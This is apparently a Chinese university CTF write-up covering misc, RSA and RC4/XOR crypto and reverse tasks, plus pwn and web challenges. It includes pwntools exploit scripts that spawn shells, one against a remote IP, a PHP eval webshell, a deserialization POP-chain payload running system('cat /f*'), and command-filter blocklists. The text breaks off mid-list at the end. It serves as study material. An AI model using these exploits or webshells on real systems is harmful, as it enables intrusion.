23级第二次校赛WP

https://blog.csdn.net/Rick66Ashley/article/details/130015948

magick montage G:第二次校赛出题miscBAKflagurl*.png -tile 10x10  -geometry +0+0 G:第二次校 赛出题miscBAKflagflag.png

https://www.guballa.de/vigenere-solver

ducation is a fundamental element in the development of a person and society. It is the key that opens the door to a world of opportunities and the driving force behind progress and advancement in various fields.

The importance of education is multifaceted. Firstly, it empowers individuals with knowledge and skills, enabling them to contribute productively to society. An educated person is more likely to find gainful employment that provides economic stability. Education also fosters critical thinking and problem-solving abilities, making individuals better equipped to face life's challenges.

Secondly, education is a tool for social change. It promotes equality by providing everyone, regardless of their socio-economic background, with an opportunity to rise above their circumstances. Education also fosters tolerance and understanding among diverse groups, thus promoting peaceful coexistence.

Furthermore, education is vital for a thriving democracy. It promotes civic participation by equipping citizens with the knowledge to make informed decisions. Educated citizens are more likely to engage in the democratic process, understanding the importance of their rights and responsibilities.

Finally, education is the cornerstone of innovation and progress. It drives scientific discoveries, technological advancements, and cultural and artistic expressions. Without education, human civilization would not have progressed to where it is today.QLNU{easy_Vg_qaqoOOOO}!

In conclusion, education is a powerful tool that can transform lives and societies. It is not merely about acquiring knowledge and skills, but also about fostering values and shaping the future. Therefore, the importance of education cannot be understated. It is an investment that yields significant returns for individuals and society at large.

QLNU{easy_Vg_qaqoOOO}

from Crypto.Util.number import *
flag = b'QLNU{********************}'

m = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q = getPrime(128)
n = p*q
hint = p**2 + q - q**2
c = pow(m,e,n)
print(f'n = {n}')
print(f'c = {c}')
print(f'hint = {hint}')
# n = 4066989046528614294842893362061904588445144872572952085599721646638521965669761546802986253393187113014382893740880193187603420380033497843129234992349060125996800462748041473912015709499686031
# c = 2682514080672136859418985808538327892780174717422111511597091705275123559969283631904418376432703592455561809802457906928106324050855534660461893485287816955073293759228357111960447051982198208
# hint = 175868914106355419036564209866413854617244786345234517581641410594275995268461265702396983214027611337658137412265419506963643424883478222432593121735924178270277788240092767308972080299185366216191909949673701354867682761086213490626566933770607916688395022256983691052860078588386892228266377705779925623201

from Crypto.Util.number import *
from gmpy2 import *
from flag import flag

m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 3

c = pow(m,e,n)
print(m)
print('n =',n)
print('c =',c)

#n = 23880326667647891983147940566276493500758235766112508399267525224573623744934828558001003426442262507579543331554973948557763625499145388217617518717218237091943197799248883625513462442954948449568481016784112432412143796241071734800311395389696769488069770709351136488020276950315684847282048686305088580821019630252366884206880280554876049808111160036447503203152474308656086304670549376642980772713855907798818333218036706726649021893047102936747826507227915655332985258653164566474919889608805367480587334672568042343435177161076219075464789049186363695187096220256542931220198234431185655215642221207771510938737
#c = 472148290993879172994119054959216735402266618704457913761294351701166711206945068022813233329358778586939773466352779380286150440932501247627521170922371102551388517

from Crypto.Util.number import *
from gmpy2 import *

e=3  #因为e特别小，所以加密得到的值m的e次方小于N，则其对N取模的值就是其自身
c= 472148290993879172994119054959216735402266618704457913761294351701166711206945068022813233329358778586939773466352779380286150440932501247627521170922371102551388517
a= iroot(c,e)[0] #c的e次方根就是明文
print(long_to_bytes(a))
#b'QLNU{the_e_is_so_small}'

import gmpy2
from Crypto.Util.number import *

e = 65537
dp= 38858533777164714460320120274798090310463379701890464067070246091720103075189342681602138634403010804289969365840895720967747828584722145267898355476053344326582927392724004879301290804817270635368494376046214040495953568531468405461806326405870637237287242203754715611840440273628695431685716203613077745473
n= 10938521322761389563543571109644600068497296610440941831261181437306633327656720611475515277153616855424946937207793384323167701532300246163656922750103757617443827054804234256662320689695598333740347310835776801670416513703113625329871341916697514825544892672014699150862932772722828596910673349261159304320068406183554071606707038755680788108287757919118826859729788716902991958045546026367028206323171399582358892060973714967669896242533866771801932298783415787052699518370009069603191789170913944048866888810221480101448748037932274557745773415788908138304206906300860472868237462204839788126516297431259932231131
c= 10853353383496999493111528808297809467020960996007465944965416611876602282217415450189108648170921921804730218311275067659124450880327068136604681931103832611290686161178654123904939876990644243419010145166005262573561893102164681836921730338281250777774796237105048507107464313366799215139732434143091085112649323391256886917887670428434008741489969635319273367051639236549879800961110379916181535960845910099504019198854339487547370784933865194169652203649019729225928096652583088261880411387369193314778719919668927138933386511291160813223755128388693721824473870224790220179392586263478471307983925923467885502397


for i in range(1, e): #开始爆破
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) // i) + 1) == 0:
            p = ((dp * e - 1) // i) + 1
            q = n // (((dp * e - 1) // i) + 1)
            d = gmpy2.invert(e, (p - 1) * (q - 1))
            m = pow(c, d, n)

print(long_to_bytes(m))
#b'QLNU{dp_@_666aaa_sign_in}'

FLAG格式 xx市_xx区_离拍摄地最近的地铁站（无空格横线等特殊符合，连接除外）

题目提示：这是出题人huan回家路上随意拍的一张图片，请你根据图片的关键信息得到huan拍摄的乐园吧。FLAG格式：xx省_xx市_xx区_xx街_xx乐园

https://privacy.aiuys.com/

from pwn import *
from ctypes import *
context(os='Linux',arch = 'amd64',log_level ='debug')

p = process('./demo3')
# p = gdb.debug('./pwn')
# p = remote('challenge.qsnctf.com',31862)
elf = ELF('./demo3')

# libc = cdll.LoadLibrary('libc.so.6') 
# libc.srand(1) #设置种子

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
rcv = lambda : p.recv()
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
d = lambda :gdb.attach(p)
b = lambda :pause()

payload = (0x20+8) * b'a' + b'x92xA2'
sla('read:',b'200')
# d()
# b()
sd(payload)
it()

from pwn import *
# from LibcSearcher import *
from ctypes import *
context(os='Linux',arch = 'amd64',log_level ='debug')

# p = process('./ret2shellcode')
# p = gdb.debug('./pwn')
p = remote('101.34.80.152',32835)
# elf = ELF('./demo3')

# libc = cdll.LoadLibrary('libc.so.6') 
# libc.srand(1) #设置种子

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
rcv = lambda : p.recv()
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
d = lambda :gdb.attach(p)
b = lambda :pause()

shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x218,b'x00') + p64(0x40101a) + p64(0x4033E0)

sla(b'input:',shellcode)
it()

from pwn import*
from LibcSearcher import*

# io = remote("124.223.158.81", 27006)
io = process("./pwn")
elf = ELF("./libc.so.6")
libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x40117e
offset = 0x40
main = elf.symbols['main']
ret_addr = 0x40117f

payload1 = b'A'*offset + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvline()
io.sendline(payload1)

puts = u64(io.recv(6).ljust(8, b'x00'))
#print(hex(puts))

libcbase = puts - libc.sym['puts']
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
sys_addr = libcbase + libc.sym['system']

payload2 = b'A'*offset + p64(0) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline(payload2)

io.interactive()

from LibcSearcher import *
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

r = process('./ret2syscall')
elf = ELF('./ret2syscall')

se      = lambda data               : r.send(data)
sa      = lambda delim, data         : r.sendafter(delim, data)
sl      = lambda data               : r.sendline(data)
sla     = lambda delim, data         : r.sendlineafter(delim, data)
sea     = lambda delim, data         : r.sendafter(delim, data)
rc      = lambda numb=4096          : r.recv(numb)
rl      = lambda                    : r.recvline()
ru      = lambda delims             : r.recvuntil(delims)
uu32    = lambda data               : u32(data.ljust(4, b''))
uu64    = lambda data               : u64(data.ljust(8, b''))
lic     = lambda data               : uu64(ru(data)[-6:])
pack    = lambda str, addr          : p32(addr)
padding = lambda length             : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
it      = lambda                    : r.interactive()

rax = 0x00000000004011e3
rdx = 0x00000000004011e5 
rbx = 0x00000000004011e7
rcx = 0x00000000004011e9 
rdi = 0x00000000004011ed
rsi = 0x00000000004011eb
syscall = elf.plt['syscall']
binsh = 0x404070
ret = 0x40101a

sl(b'/bin/shx00')
pl = b'a'*0x100 + b'c'*0x8 + p64(ret)
pl += p64(rdx) + p64(0)
pl += p64(rsi) + p64(binsh)
pl += p64(rdi) + p64(59)
pl += p64(rax) + p64(0)
pl += p64(rcx) + p64(0)
pl += p64(syscall)
sl(pl)
it()

string = "XEG\rJ""V8zV}a:Vk:z}Vehgn|hnlV8gV]alV^9{8mt"
result = ""

for char in string:
    result += chr(ord(char) ^ 9)

print(result)

https://jiangwenwen066.github.io/2023/02/06/%E5%88%9D%E6%AC%A1%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95/

#include<stdio.h>
 
/*
程序实现时，需要注意的是，状态向量数组S和临时向量数组T
的类型应设为unsigned char，而不是char。因为在一些机器
下，将char默认做为signed char看待，在算法中计算下标i，j的
时候，会涉及char转int，如果是signed的char，那么将char的8
位拷贝到int的低8位后，还会根据char的符号为，在int的高位补
0或1。由于密钥是随机产生的，如果遇到密钥的某个字节的高
位为1的话，那么计算得到的数组下标为负数，就会越界。
*/
typedef struct _RC4INFO
{
        unsigned char s_box[256];
        unsigned char t_box[256];
}RC4_INFO,*PRC4_INFO;                        //定义 RC4 中要用到的 S-Box 和临时向量 T，封装在结构体中并给正常别名和指针别名。 
 
 
/*
初始化函数 需要传入key 以及 keylen
主要有几个步骤
1.初始化Sbox
2.将key填充到Tbox中
3.组合sbox[i] 与 tbox[i] 然后进行交换
*/
void rc4_init(PRC4_INFO prc4,unsigned char key[],unsigned int keylen)
{
        int i=0;
        int j=0;
        unsigned char tmp;
        if(prc4==NULL)
        {
                return;
        }
        
        /*
        初始化存储0-255字节的Sbox(其实就是一个数组)
        填充key到256个字节数组中称为Tbox(你输入的key不满256个字节则初始化到256个字节)
        */ 
        for(i=0;i<256;i++)
        {
                prc4->s_box[i] = i;
                prc4->t_box[i] = key[i % keylen];        //如果密钥的长度是256字节，就直接把密钥的值赋给k，否则，轮转地将密钥的每个字节赋给k 
        }
        
        //交换s[i]与s[j]   i 从0开始一直到255下标结束. j是 s[i]与T[i]组合得出的下标
        for(i=0;i<256;i++)
        {
                j=(j+prc4->s_box[i]+prc4->t_box[i])%256;
                //开始交换
                tmp=prc4->s_box[i];
                prc4->s_box[i]=prc4->s_box[j];
                prc4->s_box[j]=tmp;
        }
 } 
 
/*
RC4加密其实就是遍历数据,将数据与sbox进行异或加密,而在此之前还需要交换一次sbox的数据
交换完之后 再把s[i] + s[j]的组合当做下标再去异或. 
*/
void rc4_crypt(unsigned char data[], unsigned char key[])
{
    int dn = 0; //data[n]的意思
    int i = 0;
    int j = 0; //i j分别用于交换sbox[i] 和 sbox[j]
    int t = 0; //t = s[i] + s[j]
    unsigned char tmp;

    RC4_INFO rc4; //这里定义前面的结构题
    rc4_init(&rc4, key, 9); //在加密函数中调用初始化函数，就省去了其它代码中出现的要保存初始化 sBox 的现象了.

    for (dn = 0; dn < 32; dn++)
    {
        //i确保S-box的每个元素都得到处理，j保证S-box的搅乱是随机的。
        i = (i + 1) % 256;
        j = (j + rc4.s_box[i]) % 256;

        //交换 s_box[i] 和 s_box[j]
        tmp = rc4.s_box[i];
        rc4.s_box[i] = rc4.s_box[j];
        rc4.s_box[j] = tmp;

        //交换完之后 再把s[i] + s[j]的组合当做下标再去异或.
        t = (rc4.s_box[i] + rc4.s_box[j]) % 256;
        data[dn] ^= rc4.s_box[t];
    }
}

void EntryBuffer(unsigned char data[])
{
    unsigned char key[] = "Debugging";
    rc4_crypt(data, key);
}


 
int main()
{
        char Hell[32] = {234,241,75,250,204,221,84,93,110,224,75,184,118,168,138,57,28,12,255,0,26,196,157,131,86,239,204,55,204,187,151,150};
        int i;
    EntryBuffer((unsigned char*)Hell); //加第一次调用就是加密 
    printf("解密后的flag是：%32snn", Hell);
    return 0;
}

<?php 

if($_GET['action'] == "givemeresource"){ 
    highlight_file('index.php'); 
} 
else{ 
     highlight_file(__File__); 
}

<?php
define("UPLOAD_PATH", "./upload");
if (!file_exists(UPLOAD_PATH)) {
    mkdir(UPLOAD_PATH, 0777, true);
}

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/upload' . $_FILES['upload_file']['name'];
        $content=base64_decode(file_get_contents($temp_file));//!!!!!
        file_put_contents($temp_file,$content);
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
?>

<?php
highlight_file(__FILE__);

eval($_POST["a"]);

PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwoKZXZhbCgkX1BPU1RbImEiXSk7

<?php 

$code = $_GET['code']; 
if (isset($code)) { 
    if (!preg_match("/cat|tac|more|less|head|tail|vi|vim|sort|flag|[0-9]|*|`|%|>|<|'|"/i", $code)) { 
        system($code); 
    }else { 
        echo "hhhhhhacker!!!"."n"; 
    } 
} else { 
    highlight_file(__FILE__); 
} 

cat/tac/more/less/head/tail/nl/od/uniq

<?php 
class Q { 

    public static $Q1ngchua = false; 
    public static $Yhuanhuan = false; 
} 
class L { 
    public $p; 

    public function flag() 
    { 
        ($this->p)(); 
    } 
} 
class N{ 

    public $n; 
    public function __destruct() 
    { 

        Q::$Q1ngchua = true; 
        echo $this->n; 
    } 
} 
class U { 
    public $o; 
    public function __toString() 
    { 
        Q::$Yhuanhuan = true; 
        $this->o->flag(); 
        return "其实。。。。,"; 
    } 
} 
class Xiaogou { 
    public $isyou; 
    public $flag; 
    public function __invoke() 
    { 
        if (Q::$Q1ngchua) { 

            ($this->isyou)($this->flag); 
            echo "小狗竟是我自己呜呜呜"; 
        } else { 
            echo "Yhuanhuan才是小狗"; 
        } 
    } 
} 
if (isset($_GET['data'])) { 
    highlight_file(__FILE__); 
    unserialize(base64_decode($_GET['data'])); 
} else { 
    highlight_file(__FILE__); 
    echo "难道你是小狗嘛？？？"; 
}

class Xiaogou { 
    public $isyou; 
    public $flag; 
    public function __invoke() 
    { 
        if (Q::$Q1ngchua) { 

            ($this->isyou)($this->flag); 
            echo "小狗竟是我自己呜呜呜"; 
        } else { 
            echo "Yhuanhuan才是小狗"; 
        } 
    } 
} 

($this->isyou)($this->flag);

public $isyou = "system";

public $flag = "cat /f*";

class L {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}

class U {
    public $o;
    public function __toString()
    {
        Q::$Yhuanhuan = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}

一个对象被当作字符串来处理,例如使用echo或print打印对象

class N{

    public $n;
    public function __destruct()
    {

        Q::$Q1ngchua = true;
        echo $this->n;
    }
}

在对象销毁时触发,也就是unserialize时可以触

if (isset($_GET['data'])) { 
    highlight_file(__FILE__); 
    unserialize(base64_decode($_GET['data'])); 
    }

//需要本地有php环境,配置一下php环境,简单的可以用phpstudy
<?php
class Q {

    public static $Q1ngchua = true;
    public static $Yhuanhuan = false;
}
class L {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class N{

    public $n;
    public function __destruct()
    {

        Q::$Q1ngchua = true;
        echo $this->n;
    }
}
class U {
    public $o;
    public function __toString()
    {
        Q::$Yhuanhuan = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class Xiaogou {
    public $isyou = "system";
    public $flag = "cat /f*";
    public function __invoke()
    {
        if (Q::$Q1ngchua) {

            ($this->isyou)($this->flag);
            echo "小狗竟是我自己呜呜呜";
        } else {
            echo "Yhuanhuan才是小狗";
        }
    }
}
$a = new N();
$a ->n = new U();
$a -> n ->o =new L();
$a -> n ->o ->p =new Xiaogou();
echo serialize($a);

//输出的内容
O:1:"N":1:{s:1:"n";O:1:"U":1:{s:1:"o";O:1:"L":1:{s:1:"p";O:7:"Xiaogou":2:{s:5:"isyou";s:6:"system";s:4:"flag";s:7:"cat /f*";}}}}

if (isset($_GET['data'])) { 
    highlight_file(__FILE__); 
    unserialize(base64_decode($_GET['data'])); 
}

//编码后
TzoxOiJOIjoxOntzOjE6Im4iO086MToiVSI6MTp7czoxOiJvIjtPOjE6IkwiOjE6e3M6MToicCI7Tzo3OiJYaWFvZ291IjoyOntzOjU6ImlzeW91IjtzOjY6InN5c3RlbSI7czo0OiJmbGFnIjtzOjc6ImNhdCAvZioiO319fX0=

?data=TzoxOiJOIjoxOntzOjE6Im4iO086MToiVSI6MTp7czoxOiJvIjtPOjE6IkwiOjE6e3M6MToicCI7Tzo3OiJYaWFvZ291IjoyOntzOjU6ImlzeW91IjtzOjY6InN5c3RlbSI7czo0OiJmbGFnIjtzOjc6ImNhdCAvZioiO319fX0=

import re
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
def isLegalParam(param):
    return (re.search(r'cat|tac|uniqu|more|flag|sort|nl|base|class|"', param, re.M|re.S) is None)
@app.route('/') 
def main():
    return render_template("index.html")
@app.route('/calc')
def calc():
    formula = request.args.get("calc")
    answer = request.args.get("answer")
    if isLegalParam(formula) and isLegalParam(answer):
        answerHtml = formula + "=" + answer
    else:
        answerHtml = "Data illegality."
    return render_template_string(answerHtml)
@app.route("/hint")
def hint():
    with open(__file__, "rb") as f:
        file = f.read()
    return file
if __name__ == '__main__':
    app.run(host="0.0.0.0")

class_  返回类型所属的对象
mro返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
base   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
subclasses 每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals  对包含函数全局变量的字典的引用

import re

string ="<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partialmethod'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class '_ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_socket.socket'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 